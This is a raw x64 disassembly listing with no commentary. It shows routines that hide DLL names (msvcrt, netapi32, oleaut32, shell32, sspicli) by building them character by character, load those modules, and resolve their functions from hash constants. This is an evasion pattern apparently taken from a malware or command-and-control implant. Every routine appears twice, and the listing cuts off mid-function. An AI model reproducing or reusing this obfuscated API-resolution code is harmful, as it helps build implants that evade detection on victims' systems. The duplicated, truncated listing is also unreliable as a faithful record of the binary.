14001b78bmov al, 0
14001b78dje 0x14001b7c8
14001b78frep stosb [rdi], al
14001b791mov rcx, [rbx+2134]
14001b798mov edx, 0x2303b88f
14001b79dcall LdrFunctionAddr
14001b7a2lea r9, [rip+53549]
14001b7a9mov rdx, rbp
14001b7acmov rcx, rsi
14001b7afmov r8l, 89
14001b7b5mov [rbx+1276], rax
14001b7bccall printf.constprop.0
14001b7c1mov eax, 1
14001b7c6jmp 0x14001b7e4
14001b7c8
14001b7c8loc_14001b7c8:
14001b7c8rep stosb [rdi], al
14001b7calea r9, [rip+53534]
14001b7d1mov r8l, 92
14001b7d7mov rdx, rbp
14001b7damov rcx, rsi
14001b7ddcall printf.constprop.0
14001b7e2xor eax, eax
14001b7e4
14001b7e4loc_14001b7e4:
14001b7e4add rsp, 56
14001b7e8pop rbx
14001b7e9pop rsi
14001b7eapop rdi
14001b7ebpop rbp
14001b7ecret
14001b6a0
14001b7ed
14001b7ed // align 0x10
14001b7ed // align 0x10
14001b7f0
14001b7f0RtMsvcrt:
14001b7f0push rbp
14001b7f1xor edx, edx
14001b7f3xor eax, eax
14001b7f5mov ecx, 77
14001b7fapush rdi
14001b7fblea rbp, [rip+0x11b3e]
14001b802push rsi
14001b803lea rsi, [rip+53382]
14001b80apush rbx
14001b80bsub rsp, 56
14001b80fmov [rsp+37], rax
14001b814lea rdi, [rsp+37]
14001b819mov [rsp+44], edx
14001b81dcall HideChar
14001b822mov ecx, 46
14001b827mov [rsp+37], al
14001b82bcall HideChar
14001b830xor ecx, ecx
14001b832mov [rsp+43], al
14001b836call HideChar
14001b83bmov ecx, 76
14001b840mov [rsp+47], al
14001b844call HideChar
14001b849mov ecx, 82
14001b84emov [rsp+46], al
14001b852call HideChar
14001b857mov ecx, 86
14001b85cmov [rsp+41], al
14001b860call HideChar
14001b865mov ecx, 76
14001b86amov [rsp+39], al
14001b86ecall HideChar
14001b873mov ecx, 68
14001b878mov [rsp+45], al
14001b87ccall HideChar
14001b881mov ecx, 67
14001b886mov [rsp+44], al
14001b88acall HideChar
14001b88fmov ecx, 84
14001b894mov [rsp+40], al
14001b898call HideChar
14001b89dmov ecx, 83
14001b8a2mov [rsp+42], al
14001b8a6call HideChar
14001b8abmov rcx, rdi
14001b8aemov [rsp+38], al
14001b8b2call LdrModuleLoad
14001b8b7mov rbx, [rip+0x10ab2]
14001b8bemov ecx, 11
14001b8c3test rax, rax
14001b8c6mov [rbx+2166], rax
14001b8cdmov al, 0
14001b8cfje 0x14001b922
14001b8d1rep stosb [rdi], al
14001b8d3mov rcx, [rbx+2166]
14001b8damov edx, 0xffffffffe212f2ef
14001b8dfcall LdrFunctionAddr
14001b8e4mov rcx, [rbx+2166]
14001b8ebmov edx, 0x481aa3d4
14001b8f0mov [rbx+1612], rax
14001b8f7call LdrFunctionAddr
14001b8fclea r9, [rip+53395]
14001b903mov rdx, rbp
14001b906mov rcx, rsi
14001b909mov r8l, 226
14001b90fmov [rbx+1620], rax
14001b916call printf.constprop.0
14001b91bmov eax, 1
14001b920jmp 0x14001b93e
14001b922
14001b922loc_14001b922:
14001b922rep stosb [rdi], al
14001b924lea r9, [rip+53379]
14001b92bmov r8l, 229
14001b931mov rdx, rbp
14001b934mov rcx, rsi
14001b937call printf.constprop.0
14001b93cxor eax, eax
14001b93e
14001b93eloc_14001b93e:
14001b93eadd rsp, 56
14001b942pop rbx
14001b943pop rsi
14001b944pop rdi
14001b945pop rbp
14001b946ret
14001b7f0
14001b7f0RtMsvcrt:
14001b7f0push rbp
14001b7f1xor edx, edx
14001b7f3xor eax, eax
14001b7f5mov ecx, 77
14001b7fapush rdi
14001b7fblea rbp, [rip+0x11b3e]
14001b802push rsi
14001b803lea rsi, [rip+53382]
14001b80apush rbx
14001b80bsub rsp, 56
14001b80fmov [rsp+37], rax
14001b814lea rdi, [rsp+37]
14001b819mov [rsp+44], edx
14001b81dcall HideChar
14001b822mov ecx, 46
14001b827mov [rsp+37], al
14001b82bcall HideChar
14001b830xor ecx, ecx
14001b832mov [rsp+43], al
14001b836call HideChar
14001b83bmov ecx, 76
14001b840mov [rsp+47], al
14001b844call HideChar
14001b849mov ecx, 82
14001b84emov [rsp+46], al
14001b852call HideChar
14001b857mov ecx, 86
14001b85cmov [rsp+41], al
14001b860call HideChar
14001b865mov ecx, 76
14001b86amov [rsp+39], al
14001b86ecall HideChar
14001b873mov ecx, 68
14001b878mov [rsp+45], al
14001b87ccall HideChar
14001b881mov ecx, 67
14001b886mov [rsp+44], al
14001b88acall HideChar
14001b88fmov ecx, 84
14001b894mov [rsp+40], al
14001b898call HideChar
14001b89dmov ecx, 83
14001b8a2mov [rsp+42], al
14001b8a6call HideChar
14001b8abmov rcx, rdi
14001b8aemov [rsp+38], al
14001b8b2call LdrModuleLoad
14001b8b7mov rbx, [rip+0x10ab2]
14001b8bemov ecx, 11
14001b8c3test rax, rax
14001b8c6mov [rbx+2166], rax
14001b8cdmov al, 0
14001b8cfje 0x14001b922
14001b8d1rep stosb [rdi], al
14001b8d3mov rcx, [rbx+2166]
14001b8damov edx, 0xffffffffe212f2ef
14001b8dfcall LdrFunctionAddr
14001b8e4mov rcx, [rbx+2166]
14001b8ebmov edx, 0x481aa3d4
14001b8f0mov [rbx+1612], rax
14001b8f7call LdrFunctionAddr
14001b8fclea r9, [rip+53395]
14001b903mov rdx, rbp
14001b906mov rcx, rsi
14001b909mov r8l, 226
14001b90fmov [rbx+1620], rax
14001b916call printf.constprop.0
14001b91bmov eax, 1
14001b920jmp 0x14001b93e
14001b922
14001b922loc_14001b922:
14001b922rep stosb [rdi], al
14001b924lea r9, [rip+53379]
14001b92bmov r8l, 229
14001b931mov rdx, rbp
14001b934mov rcx, rsi
14001b937call printf.constprop.0
14001b93cxor eax, eax
14001b93e
14001b93eloc_14001b93e:
14001b93eadd rsp, 56
14001b942pop rbx
14001b943pop rsi
14001b944pop rdi
14001b945pop rbp
14001b946ret
14001b7f0
14001b947
14001b947 // align 0x10
14001b947 // align 0x10
14001b950
14001b950RtNetApi32:
14001b950push rbp
14001b951xor eax, eax
14001b953mov ecx, 78
14001b958lea rbp, [rip+0x117f1]
14001b95fpush rdi
14001b960push rsi
14001b961lea rsi, [rip+53032]
14001b968push rbx
14001b969sub rsp, 56
14001b96dmov [rsp+35], rax
14001b972lea rdi, [rsp+35]
14001b977mov [rsp+40], rax
14001b97ccall HideChar
14001b981mov ecx, 76
14001b986mov [rsp+35], al
14001b98acall HideChar
14001b98fmov ecx, 46
14001b994mov [rsp+46], al
14001b998call HideChar
14001b99dmov ecx, 68
14001b9a2mov [rsp+43], al
14001b9a6call HideChar
14001b9abmov ecx, 51
14001b9b0mov [rsp+44], al
14001b9b4call HideChar
14001b9b9mov ecx, 84
14001b9bemov [rsp+41], al
14001b9c2call HideChar
14001b9c7mov ecx, 65
14001b9ccmov [rsp+37], al
14001b9d0call HideChar
14001b9d5mov ecx, 76
14001b9damov [rsp+38], al
14001b9decall HideChar
14001b9e3xor ecx, ecx
14001b9e5mov [rsp+45], al
14001b9e9call HideChar
14001b9eemov ecx, 80
14001b9f3mov [rsp+47], al
14001b9f7call HideChar
14001b9fcmov ecx, 73
14001ba01mov [rsp+39], al
14001ba05call HideChar
14001ba0amov ecx, 69
14001ba0fmov [rsp+40], al
14001ba13call HideChar
14001ba18mov ecx, 50
14001ba1dmov [rsp+36], al
14001ba21call HideChar
14001ba26mov rcx, rdi
14001ba29mov [rsp+42], al
14001ba2dcall LdrModuleLoad
14001ba32mov rbx, [rip+0x10937]
14001ba39mov ecx, 13
14001ba3etest rax, rax
14001ba41mov [rbx+2190], rax
14001ba48mov al, 0
14001ba4aje 0x14001bb19
14001ba50rep stosb [rdi], al
14001ba52mov rcx, [rbx+2190]
14001ba59mov edx, 0xffffffff910ca519
14001ba5ecall LdrFunctionAddr
14001ba63mov rcx, [rbx+2190]
14001ba6amov edx, 0x11254b4e
14001ba6fmov [rbx+1804], rax
14001ba76call LdrFunctionAddr
14001ba7bmov rcx, [rbx+2190]
14001ba82mov edx, 0xffffffffeb3b8f20
14001ba87mov [rbx+1812], rax
14001ba8ecall LdrFunctionAddr
14001ba93mov rcx, [rbx+2190]
14001ba9amov edx, 0x6bec8d0a
14001ba9fmov [rbx+1820], rax
14001baa6call LdrFunctionAddr
14001baabmov rcx, [rbx+2190]
14001bab2mov edx, 0xfffffffff155c7e5
14001bab7mov [rbx+1788], rax
14001babecall LdrFunctionAddr
14001bac3mov rcx, [rbx+2190]
14001bacamov edx, 0xef26c94
14001bacfmov [rbx+1796], rax
14001bad6call LdrFunctionAddr
14001badbmov rcx, [rbx+2190]
14001bae2mov edx, 0x694e2662
14001bae7mov [rbx+1828], rax
14001baeecall LdrFunctionAddr
14001baf3lea r9, [rip+53032]
14001bafamov rdx, rbp
14001bafdmov rcx, rsi
14001bb00mov r8l, 335
14001bb06mov [rbx+1836], rax
14001bb0dcall printf.constprop.0
14001bb12mov eax, 1
14001bb17jmp 0x14001bb35
14001bb19
14001bb19loc_14001bb19:
14001bb19rep stosb [rdi], al
14001bb1blea r9, [rip+53018]
14001bb22mov r8l, 338
14001bb28mov rdx, rbp
14001bb2bmov rcx, rsi
14001bb2ecall printf.constprop.0
14001bb33xor eax, eax
14001bb35
14001bb35loc_14001bb35:
14001bb35add rsp, 56
14001bb39pop rbx
14001bb3apop rsi
14001bb3bpop rdi
14001bb3cpop rbp
14001bb3dret
14001b950
14001b950RtNetApi32:
14001b950push rbp
14001b951xor eax, eax
14001b953mov ecx, 78
14001b958lea rbp, [rip+0x117f1]
14001b95fpush rdi
14001b960push rsi
14001b961lea rsi, [rip+53032]
14001b968push rbx
14001b969sub rsp, 56
14001b96dmov [rsp+35], rax
14001b972lea rdi, [rsp+35]
14001b977mov [rsp+40], rax
14001b97ccall HideChar
14001b981mov ecx, 76
14001b986mov [rsp+35], al
14001b98acall HideChar
14001b98fmov ecx, 46
14001b994mov [rsp+46], al
14001b998call HideChar
14001b99dmov ecx, 68
14001b9a2mov [rsp+43], al
14001b9a6call HideChar
14001b9abmov ecx, 51
14001b9b0mov [rsp+44], al
14001b9b4call HideChar
14001b9b9mov ecx, 84
14001b9bemov [rsp+41], al
14001b9c2call HideChar
14001b9c7mov ecx, 65
14001b9ccmov [rsp+37], al
14001b9d0call HideChar
14001b9d5mov ecx, 76
14001b9damov [rsp+38], al
14001b9decall HideChar
14001b9e3xor ecx, ecx
14001b9e5mov [rsp+45], al
14001b9e9call HideChar
14001b9eemov ecx, 80
14001b9f3mov [rsp+47], al
14001b9f7call HideChar
14001b9fcmov ecx, 73
14001ba01mov [rsp+39], al
14001ba05call HideChar
14001ba0amov ecx, 69
14001ba0fmov [rsp+40], al
14001ba13call HideChar
14001ba18mov ecx, 50
14001ba1dmov [rsp+36], al
14001ba21call HideChar
14001ba26mov rcx, rdi
14001ba29mov [rsp+42], al
14001ba2dcall LdrModuleLoad
14001ba32mov rbx, [rip+0x10937]
14001ba39mov ecx, 13
14001ba3etest rax, rax
14001ba41mov [rbx+2190], rax
14001ba48mov al, 0
14001ba4aje 0x14001bb19
14001ba50rep stosb [rdi], al
14001ba52mov rcx, [rbx+2190]
14001ba59mov edx, 0xffffffff910ca519
14001ba5ecall LdrFunctionAddr
14001ba63mov rcx, [rbx+2190]
14001ba6amov edx, 0x11254b4e
14001ba6fmov [rbx+1804], rax
14001ba76call LdrFunctionAddr
14001ba7bmov rcx, [rbx+2190]
14001ba82mov edx, 0xffffffffeb3b8f20
14001ba87mov [rbx+1812], rax
14001ba8ecall LdrFunctionAddr
14001ba93mov rcx, [rbx+2190]
14001ba9amov edx, 0x6bec8d0a
14001ba9fmov [rbx+1820], rax
14001baa6call LdrFunctionAddr
14001baabmov rcx, [rbx+2190]
14001bab2mov edx, 0xfffffffff155c7e5
14001bab7mov [rbx+1788], rax
14001babecall LdrFunctionAddr
14001bac3mov rcx, [rbx+2190]
14001bacamov edx, 0xef26c94
14001bacfmov [rbx+1796], rax
14001bad6call LdrFunctionAddr
14001badbmov rcx, [rbx+2190]
14001bae2mov edx, 0x694e2662
14001bae7mov [rbx+1828], rax
14001baeecall LdrFunctionAddr
14001baf3lea r9, [rip+53032]
14001bafamov rdx, rbp
14001bafdmov rcx, rsi
14001bb00mov r8l, 335
14001bb06mov [rbx+1836], rax
14001bb0dcall printf.constprop.0
14001bb12mov eax, 1
14001bb17jmp 0x14001bb35
14001bb19
14001bb19loc_14001bb19:
14001bb19rep stosb [rdi], al
14001bb1blea r9, [rip+53018]
14001bb22mov r8l, 338
14001bb28mov rdx, rbp
14001bb2bmov rcx, rsi
14001bb2ecall printf.constprop.0
14001bb33xor eax, eax
14001bb35
14001bb35loc_14001bb35:
14001bb35add rsp, 56
14001bb39pop rbx
14001bb3apop rsi
14001bb3bpop rdi
14001bb3cpop rbp
14001bb3dret
14001b950
14001bb3e
14001bb3e // align 0x10
14001bb3e // align 0x10
14001bb40
14001bb40RtOleaut32:
14001bb40push rbp
14001bb41xor eax, eax
14001bb43mov ecx, 65
14001bb48lea rbp, [rip+0x10e51]
14001bb4fpush rdi
14001bb50push rsi
14001bb51lea rsi, [rip+52536]
14001bb58push rbx
14001bb59sub rsp, 56
14001bb5dmov [rsp+35], rax
14001bb62lea rdi, [rsp+35]
14001bb67mov [rsp+40], rax
14001bb6ccall HideChar
14001bb71mov ecx, 69
14001bb76mov [rsp+38], al
14001bb7acall HideChar
14001bb7fmov ecx, 79
14001bb84mov [rsp+37], al
14001bb88call HideChar
14001bb8dmov ecx, 76
14001bb92mov [rsp+35], al
14001bb96call HideChar
14001bb9bmov ecx, 84
14001bba0mov [rsp+36], al
14001bba4call HideChar
14001bba9mov ecx, 76
14001bbaemov [rsp+40], al
14001bbb2call HideChar
14001bbb7mov ecx, 50
14001bbbcmov [rsp+46], al
14001bbc0call HideChar
14001bbc5mov ecx, 51
14001bbcamov [rsp+42], al
14001bbcecall HideChar
14001bbd3mov ecx, 76
14001bbd8mov [rsp+41], al
14001bbdccall HideChar
14001bbe1xor ecx, ecx
14001bbe3mov [rsp+45], al
14001bbe7call HideChar
14001bbecmov ecx, 85
14001bbf1mov [rsp+47], al
14001bbf5call HideChar
14001bbfamov ecx, 68
14001bbffmov [rsp+39], al
14001bc03call HideChar
14001bc08mov ecx, 46
14001bc0dmov [rsp+44], al
14001bc11call HideChar
14001bc16mov rcx, rdi
14001bc19mov [rsp+43], al
14001bc1dcall LdrModuleLoad
14001bc22mov rbx, [rip+0x10747]
14001bc29mov ecx, 13
14001bc2etest rax, rax
14001bc31mov [rbx+2142], rax
14001bc38mov al, 0
14001bc3aje 0x14001bd09
14001bc40rep stosb [rdi], al
14001bc42mov rcx, [rbx+2142]
14001bc49mov edx, 0xfffffffff6a0d34f
14001bc4ecall LdrFunctionAddr
14001bc53mov rcx, [rbx+2142]
14001bc5amov edx, 0xffffffffe981b312
14001bc5fmov [rbx+1284], rax
14001bc66call LdrFunctionAddr
14001bc6bmov rcx, [rbx+2142]
14001bc72mov edx, 0x53ec8017
14001bc77mov [rbx+1292], rax
14001bc7ecall LdrFunctionAddr
14001bc83mov rcx, [rbx+2142]
14001bc8amov edx, 0x311f586
14001bc8fmov [rbx+1300], rax
14001bc96call LdrFunctionAddr
14001bc9bmov rcx, [rbx+2142]
14001bca2mov edx, 0x6b6a636a
14001bca7mov [rbx+1316], rax
14001bcaecall LdrFunctionAddr
14001bcb3mov rcx, [rbx+2142]
14001bcbamov edx, 0x12b6aed
14001bcbfmov [rbx+1308], rax
14001bcc6call LdrFunctionAddr
14001bccbmov rcx, [rbx+2142]
14001bcd2mov edx, 0x3351eb46
14001bcd7mov [rbx+1324], rax
14001bcdecall LdrFunctionAddr
14001bce3lea r9, [rip+52252]
14001bceamov rdx, rbp
14001bcedmov rcx, rsi
14001bcf0mov r8l, 128
14001bcf6mov [rbx+1332], rax
14001bcfdcall printf.constprop.0
14001bd02mov eax, 1
14001bd07jmp 0x14001bd25
14001bd09
14001bd09loc_14001bd09:
14001bd09rep stosb [rdi], al
14001bd0blea r9, [rip+52238]
14001bd12mov r8l, 131
14001bd18mov rdx, rbp
14001bd1bmov rcx, rsi
14001bd1ecall printf.constprop.0
14001bd23xor eax, eax
14001bd25
14001bd25loc_14001bd25:
14001bd25add rsp, 56
14001bd29pop rbx
14001bd2apop rsi
14001bd2bpop rdi
14001bd2cpop rbp
14001bd2dret
14001bb40
14001bb40RtOleaut32:
14001bb40push rbp
14001bb41xor eax, eax
14001bb43mov ecx, 65
14001bb48lea rbp, [rip+0x10e51]
14001bb4fpush rdi
14001bb50push rsi
14001bb51lea rsi, [rip+52536]
14001bb58push rbx
14001bb59sub rsp, 56
14001bb5dmov [rsp+35], rax
14001bb62lea rdi, [rsp+35]
14001bb67mov [rsp+40], rax
14001bb6ccall HideChar
14001bb71mov ecx, 69
14001bb76mov [rsp+38], al
14001bb7acall HideChar
14001bb7fmov ecx, 79
14001bb84mov [rsp+37], al
14001bb88call HideChar
14001bb8dmov ecx, 76
14001bb92mov [rsp+35], al
14001bb96call HideChar
14001bb9bmov ecx, 84
14001bba0mov [rsp+36], al
14001bba4call HideChar
14001bba9mov ecx, 76
14001bbaemov [rsp+40], al
14001bbb2call HideChar
14001bbb7mov ecx, 50
14001bbbcmov [rsp+46], al
14001bbc0call HideChar
14001bbc5mov ecx, 51
14001bbcamov [rsp+42], al
14001bbcecall HideChar
14001bbd3mov ecx, 76
14001bbd8mov [rsp+41], al
14001bbdccall HideChar
14001bbe1xor ecx, ecx
14001bbe3mov [rsp+45], al
14001bbe7call HideChar
14001bbecmov ecx, 85
14001bbf1mov [rsp+47], al
14001bbf5call HideChar
14001bbfamov ecx, 68
14001bbffmov [rsp+39], al
14001bc03call HideChar
14001bc08mov ecx, 46
14001bc0dmov [rsp+44], al
14001bc11call HideChar
14001bc16mov rcx, rdi
14001bc19mov [rsp+43], al
14001bc1dcall LdrModuleLoad
14001bc22mov rbx, [rip+0x10747]
14001bc29mov ecx, 13
14001bc2etest rax, rax
14001bc31mov [rbx+2142], rax
14001bc38mov al, 0
14001bc3aje 0x14001bd09
14001bc40rep stosb [rdi], al
14001bc42mov rcx, [rbx+2142]
14001bc49mov edx, 0xfffffffff6a0d34f
14001bc4ecall LdrFunctionAddr
14001bc53mov rcx, [rbx+2142]
14001bc5amov edx, 0xffffffffe981b312
14001bc5fmov [rbx+1284], rax
14001bc66call LdrFunctionAddr
14001bc6bmov rcx, [rbx+2142]
14001bc72mov edx, 0x53ec8017
14001bc77mov [rbx+1292], rax
14001bc7ecall LdrFunctionAddr
14001bc83mov rcx, [rbx+2142]
14001bc8amov edx, 0x311f586
14001bc8fmov [rbx+1300], rax
14001bc96call LdrFunctionAddr
14001bc9bmov rcx, [rbx+2142]
14001bca2mov edx, 0x6b6a636a
14001bca7mov [rbx+1316], rax
14001bcaecall LdrFunctionAddr
14001bcb3mov rcx, [rbx+2142]
14001bcbamov edx, 0x12b6aed
14001bcbfmov [rbx+1308], rax
14001bcc6call LdrFunctionAddr
14001bccbmov rcx, [rbx+2142]
14001bcd2mov edx, 0x3351eb46
14001bcd7mov [rbx+1324], rax
14001bcdecall LdrFunctionAddr
14001bce3lea r9, [rip+52252]
14001bceamov rdx, rbp
14001bcedmov rcx, rsi
14001bcf0mov r8l, 128
14001bcf6mov [rbx+1332], rax
14001bcfdcall printf.constprop.0
14001bd02mov eax, 1
14001bd07jmp 0x14001bd25
14001bd09
14001bd09loc_14001bd09:
14001bd09rep stosb [rdi], al
14001bd0blea r9, [rip+52238]
14001bd12mov r8l, 131
14001bd18mov rdx, rbp
14001bd1bmov rcx, rsi
14001bd1ecall printf.constprop.0
14001bd23xor eax, eax
14001bd25
14001bd25loc_14001bd25:
14001bd25add rsp, 56
14001bd29pop rbx
14001bd2apop rsi
14001bd2bpop rdi
14001bd2cpop rbp
14001bd2dret
14001bb40
14001bd2e
14001bd2e // align 0x10
14001bd2e // align 0x10
14001bd30
14001bd30RtShell32:
14001bd30push rbp
14001bd31xor edx, edx
14001bd33xor eax, eax
14001bd35mov ecx, 83
14001bd3apush rdi
14001bd3blea rbp, [rip+0x1169e]
14001bd42push rsi
14001bd43lea rsi, [rip+52038]
14001bd4apush rbx
14001bd4bsub rsp, 56
14001bd4fmov [rsp+44], edx
14001bd53lea rdi, [rsp+36]
14001bd58mov [rsp+36], rax
14001bd5dcall HideChar
14001bd62mov ecx, 76
14001bd67mov [rsp+36], al
14001bd6bcall HideChar
14001bd70mov ecx, 46
14001bd75mov [rsp+46], al
14001bd79call HideChar
14001bd7emov ecx, 50
14001bd83mov [rsp+43], al
14001bd87call HideChar
14001bd8cmov ecx, 68
14001bd91mov [rsp+42], al
14001bd95call HideChar
14001bd9amov ecx, 76
14001bd9fmov [rsp+44], al
14001bda3call HideChar
14001bda8mov ecx, 72
14001bdadmov [rsp+40], al
14001bdb1call HideChar
14001bdb6xor ecx, ecx
14001bdb8mov [rsp+37], al
14001bdbccall HideChar
14001bdc1mov ecx, 76
14001bdc6mov [rsp+47], al
14001bdcacall HideChar
14001bdcfmov ecx, 51
14001bdd4mov [rsp+45], al
14001bdd8call HideChar
14001bdddmov ecx, 76
14001bde2mov [rsp+41], al
14001bde6call HideChar
14001bdebmov ecx, 69
14001bdf0mov [rsp+39], al
14001bdf4call HideChar
14001bdf9mov rcx, rdi
14001bdfcmov [rsp+38], al
14001be00call LdrModuleLoad
14001be05mov rbx, [rip+0x10564]
14001be0cmov ecx, 12
14001be11test rax, rax
14001be14mov [rbx+2158], rax
14001be1bmov al, 0
14001be1dje 0x14001be58
14001be1frep stosb [rdi], al
14001be21mov rcx, [rbx+2158]
14001be28mov edx, 0xffffffffec6ba0d6
14001be2dcall LdrFunctionAddr
14001be32lea r9, [rip+52013]
14001be39mov rdx, rbp
14001be3cmov rcx, rsi
14001be3fmov r8l, 194
14001be45mov [rbx+1628], rax
14001be4ccall printf.constprop.0
14001be51mov eax, 1
14001be56jmp 0x14001be74
14001be58
14001be58loc_14001be58:
14001be58rep stosb [rdi], al
14001be5alea r9, [rip+51998]
14001be61mov r8l, 197
14001be67mov rdx, rbp
14001be6amov rcx, rsi
14001be6dcall printf.constprop.0
14001be72xor eax, eax
14001be74
14001be74loc_14001be74:
14001be74add rsp, 56
14001be78pop rbx
14001be79pop rsi
14001be7apop rdi
14001be7bpop rbp
14001be7cret
14001bd30
14001bd30RtShell32:
14001bd30push rbp
14001bd31xor edx, edx
14001bd33xor eax, eax
14001bd35mov ecx, 83
14001bd3apush rdi
14001bd3blea rbp, [rip+0x1169e]
14001bd42push rsi
14001bd43lea rsi, [rip+52038]
14001bd4apush rbx
14001bd4bsub rsp, 56
14001bd4fmov [rsp+44], edx
14001bd53lea rdi, [rsp+36]
14001bd58mov [rsp+36], rax
14001bd5dcall HideChar
14001bd62mov ecx, 76
14001bd67mov [rsp+36], al
14001bd6bcall HideChar
14001bd70mov ecx, 46
14001bd75mov [rsp+46], al
14001bd79call HideChar
14001bd7emov ecx, 50
14001bd83mov [rsp+43], al
14001bd87call HideChar
14001bd8cmov ecx, 68
14001bd91mov [rsp+42], al
14001bd95call HideChar
14001bd9amov ecx, 76
14001bd9fmov [rsp+44], al
14001bda3call HideChar
14001bda8mov ecx, 72
14001bdadmov [rsp+40], al
14001bdb1call HideChar
14001bdb6xor ecx, ecx
14001bdb8mov [rsp+37], al
14001bdbccall HideChar
14001bdc1mov ecx, 76
14001bdc6mov [rsp+47], al
14001bdcacall HideChar
14001bdcfmov ecx, 51
14001bdd4mov [rsp+45], al
14001bdd8call HideChar
14001bdddmov ecx, 76
14001bde2mov [rsp+41], al
14001bde6call HideChar
14001bdebmov ecx, 69
14001bdf0mov [rsp+39], al
14001bdf4call HideChar
14001bdf9mov rcx, rdi
14001bdfcmov [rsp+38], al
14001be00call LdrModuleLoad
14001be05mov rbx, [rip+0x10564]
14001be0cmov ecx, 12
14001be11test rax, rax
14001be14mov [rbx+2158], rax
14001be1bmov al, 0
14001be1dje 0x14001be58
14001be1frep stosb [rdi], al
14001be21mov rcx, [rbx+2158]
14001be28mov edx, 0xffffffffec6ba0d6
14001be2dcall LdrFunctionAddr
14001be32lea r9, [rip+52013]
14001be39mov rdx, rbp
14001be3cmov rcx, rsi
14001be3fmov r8l, 194
14001be45mov [rbx+1628], rax
14001be4ccall printf.constprop.0
14001be51mov eax, 1
14001be56jmp 0x14001be74
14001be58
14001be58loc_14001be58:
14001be58rep stosb [rdi], al
14001be5alea r9, [rip+51998]
14001be61mov r8l, 197
14001be67mov rdx, rbp
14001be6amov rcx, rsi
14001be6dcall printf.constprop.0
14001be72xor eax, eax
14001be74
14001be74loc_14001be74:
14001be74add rsp, 56
14001be78pop rbx
14001be79pop rsi
14001be7apop rdi
14001be7bpop rbp
14001be7cret
14001bd30
14001be7d
14001be7d // align 0x10
14001be7d // align 0x10
14001be80
14001be80RtSspicli:
14001be80push rbp
14001be81xor edx, edx
14001be83xor eax, eax
14001be85mov ecx, 83
14001be8apush rdi
14001be8blea rbp, [rip+0x10e5e]
14001be92push rsi
14001be93lea rsi, [rip+51702]
14001be9apush rbx
14001be9bsub rsp, 56
14001be9fmov [rsp+44], edx
14001bea3lea rdi, [rsp+36]
14001bea8mov [rsp+36], rax
14001beadcall HideChar
14001beb2xor ecx, ecx
14001beb4mov [rsp+36], al
14001beb8call HideChar
14001bebdmov ecx, 76
14001bec2mov [rsp+47], al
14001bec6call HideChar
14001becbmov ecx, 83
14001bed0mov [rsp+45], al
14001bed4call HideChar
14001bed9mov ecx, 73
14001bedemov [rsp+37], al
14001bee2call HideChar
14001bee7mov ecx, 46
14001beecmov [rsp+42], al
14001bef0call HideChar
14001bef5mov ecx, 76
14001befamov [rsp+43], al
14001befecall HideChar
14001bf03mov ecx, 68
14001bf08mov [rsp+41], al
14001bf0ccall HideChar
14001bf11mov ecx, 80
14001bf16mov [rsp+44], al
14001bf1acall HideChar
14001bf1fmov ecx, 76
14001bf24mov [rsp+38], al
14001bf28call HideChar
14001bf2dmov ecx, 67
14001bf32mov [rsp+46], al
14001bf36call HideChar
14001bf3bmov ecx, 73
14001bf40mov [rsp+40], al
14001bf44call HideChar
14001bf49mov rcx, rdi
14001bf4cmov [rsp+39], al
14001bf50call LdrModuleLoad
14001bf55mov rbx, [rip+0x10414]
14001bf5cmov ecx, 12
14001bf61test rax, rax
14001bf64mov [rbx+2206], rax
14001bf6bmov al, 0
14001bf6dje 0x14001c054
14001bf73rep stosb [rdi], al
14001bf75mov rcx, [rbx+2206]
14001bf7cmov edx, 0xffffffffd8f30a28
14001bf81call LdrFunctionAddr
14001bf86mov rcx, [rbx+2206]
14001bf8dmov edx, 0xffffffff876cc00b
14001bf92mov [rbx+1980], rax
14001bf99call LdrFunctionAddr
14001bf9emov rcx, [rbx+2206]
14001bfa5mov edx, 0xffffffff8aba5ef1
14001bfaamov [rbx+1988], rax
14001bfb1call LdrFunctionAddr
14001bfb6mov rcx, [rbx+2206]
14001bfbdmov edx, 0x1da98b7d
14001bfc2mov [rbx+1996], rax
14001bfc9call LdrFunctionAddr
14001bfcemov rcx, [rbx+2206]
14001bfd5mov edx, 0xffffffff916b1321
14001bfdamov [rbx+2004], rax
14001bfe1call LdrFunctionAddr
14001bfe6mov rcx, [rbx+2206]
14001bfedmov edx, 0x6d1a042d
14001bff2mov [rbx+2012], rax
14001bff9call LdrFunctionAddr
14001bffemov rcx, [rbx+2206]
14001c005mov edx, 0x1c698f42
14001c00amov [rbx+1956], rax
14001c011call LdrFunctionAddr
14001c016mov rcx, [rbx+2206]
14001c01dmov edx, 0xffffffffbca01141
14001c022mov [rbx+1964], rax
14001c029call LdrFunctionAddr
14001c02elea r9, [rip+51789]
14001c035mov rdx, rbp
14001c038mov rcx, rsi
14001c03bmov r8l, 419
14001c041mov [rbx+1972], rax
14001c048call printf.constprop.0
14001c04dmov eax, 1
14001c052jmp 0x14001c070
14001c054
14001c054loc_14001c054:
14001c054rep stosb [rdi], al
14001c056lea r9, [rip+51774]
14001c05dmov r8l, 422
14001c063mov rdx, rbp
14001c066mov rcx, rsi
14001c069call printf.constprop.0
14001c06exor eax, eax
14001c070
14001c070loc_14001c070:
14001c070add rsp, 56
14001c074pop rbx
14001c075pop rsi
14001c076pop rdi
14001c077pop rbp
14001c078ret
14001be80
14001be80RtSspicli:
14001be80push rbp
14001be81xor edx, edx
14001be83xor eax, eax
14001be85mov ecx, 83
14001be8apush rdi
14001be8blea rbp, [rip+0x10e5e]
14001be92push rsi
14001be93lea rsi, [rip+51702]
14001be9apush rbx
14001be9bsub rsp, 56
14001be9fmov [rsp+44], edx
14001bea3lea rdi, [rsp+36]
14001bea8mov [rsp+36], rax
14001beadcall HideChar
14001beb2xor ecx, ecx
14001beb4mov [rsp+36], al
14001beb8call HideChar
14001bebdmov ecx, 76
14001bec2mov [rsp+47], al
14001bec6call HideChar
14001becbmov ecx, 83
14001bed0mov [rsp+45], al
14001bed4call HideChar
14001bed9mov ecx, 73
14001bedemov [rsp+37], al
14001bee2call HideChar
14001bee7mov ecx, 46
14001beecmov [rsp+42], al
14001bef0call HideChar
14001bef5mov ecx, 76
14001befamov [rsp+43], al
14001befecall HideChar
14001bf03mov ecx, 68
14001bf08mov [rsp+41], al
14001bf0ccall HideChar
14001bf11mov ecx, 80
14001bf16mov [rsp+44], al
14001bf1acall HideChar
14001bf1fmov ecx, 76
14001bf24mov [rsp+38], al
14001bf28call HideChar
14001bf2dmov ecx, 67
14001bf32mov [rsp+46], al
14001bf36call HideChar
14001bf3bmov ecx, 73
14001bf40mov [rsp+40], al
14001bf44call HideChar
14001bf49mov rcx, rdi
14001bf4cmov [rsp+39], al
14001bf50call LdrModuleLoad
